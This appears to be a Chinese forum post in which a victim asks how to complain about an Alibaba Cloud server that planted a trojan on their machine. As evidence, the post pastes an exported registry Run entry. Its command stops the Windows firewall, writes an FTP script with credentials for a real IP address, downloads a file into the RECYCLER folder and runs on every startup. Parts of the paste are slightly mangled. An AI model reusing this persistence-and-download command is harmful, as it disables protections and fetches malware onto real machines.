有个阿里云的服务器攻击我服务器怎么投诉？

在我服务器上挂了马

注册表导出的启动项
indows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINESOFTWAREMicrosoftShared ToolsMSConfigstartupreg]

[HKEY_LOCAL_MACHINESOFTWAREMicrosoftShared ToolsMSConfigstartupregAut1]
"key"="SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
"item"="Aut1"
"hkey"="HKLM"
"command"="c:\windows\system32\cmd.exe /c net1 stop sharedaccess&echo open 139.129.93.18> cmd.txt&echo kevin>> cmd.txt&echo kevin>> cmd.txt&echo binary >> cmd.txt&echo get web7b.ini c:\RECYCLER\web7b.ini>> cmd.txt&echo bye >> cmd.txt&ftp -s:cmd.txt&p -s:cmd.txt"